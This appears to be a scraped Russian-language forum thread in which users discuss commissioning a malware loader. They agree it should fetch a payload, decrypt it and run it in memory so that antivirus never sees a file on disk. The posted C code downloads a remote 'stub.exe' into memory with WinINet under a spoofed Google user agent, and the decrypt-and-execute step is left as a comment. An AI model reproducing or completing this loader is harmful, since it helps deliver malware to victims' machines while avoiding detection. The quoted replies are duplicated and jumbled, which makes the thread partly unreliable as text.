Возможно ли такое написать и сколько это будет стоить?
Можно, но если делать без шифрования и тд, то бесполезно.Возможно ли такое написать и сколько это будет стоить?
так зачем сохранять на диск если можно грузить сразу в память расшифровывать и запускатьЗачем это делать - это дроп на диск, анализ, далее выносят из системы, вешают детект и vice versa
если так то гуд)так зачем сохранять на диск если можно грузить сразу в память расшифровывать и запускать
если так то гуд)
#include <windows.h>
#include <wininet.h>
void* _alloc(SIZE_T size)
{
return HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size + 64);
}
void _copy(void* dst, const void* src, SIZE_T size)
{
for (SIZE_T i = 0; i < size; ++i) ((LPBYTE)dst)[i] = ((LPBYTE)src)[i];
}
int remoteFileSize(HINTERNET URLHandle) {
char SBuffer[200];
DWORD SBufferSize = 200;
DWORD srv = 0;
HttpQueryInfoA(URLHandle, HTTP_QUERY_CONTENT_LENGTH, SBuffer, &SBufferSize, &srv);
typedef int(WINAPI* xAtoi)(const char*);
xAtoi Atoi = (xAtoi)GetProcAddress(LoadLibraryA("ntdll.dll"), "atoi");
return Atoi(SBuffer);
}
BYTE* downloadFileToMem(LPCSTR link, DWORD *size) {
BOOL bResult;
DWORD dwBytesRead = 1;
if (HINTERNET hInternetSession = InternetOpenA("Mozilla/5.0 AppEngine-Google; (+http://code.google.com/appengine; appid: canisano)", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0)) {
if (HINTERNET hURL = InternetOpenUrlA(hInternetSession, link, 0, 0, 0, 0)) {
int sizeOfRemoteFile = remoteFileSize(hURL);
if (BYTE* buf = (BYTE*)_alloc(sizeOfRemoteFile)) {
InternetReadFile(hURL, buf, (DWORD)sizeOfRemoteFile, &dwBytesRead);
InternetCloseHandle(hURL);
InternetCloseHandle(hInternetSession);
*size = sizeOfRemoteFile;
return buf;
}
}
}
return 0;
}
/*
расшифруем запустим
*/
INT XSS(void) {
DWORD fileSize = 0;
BYTE* exeMemory = downloadFileToMem("domeg.ggg\\stub.exe", &fileSize);
/* расшифруем запустим */
ExitProcess(0);
}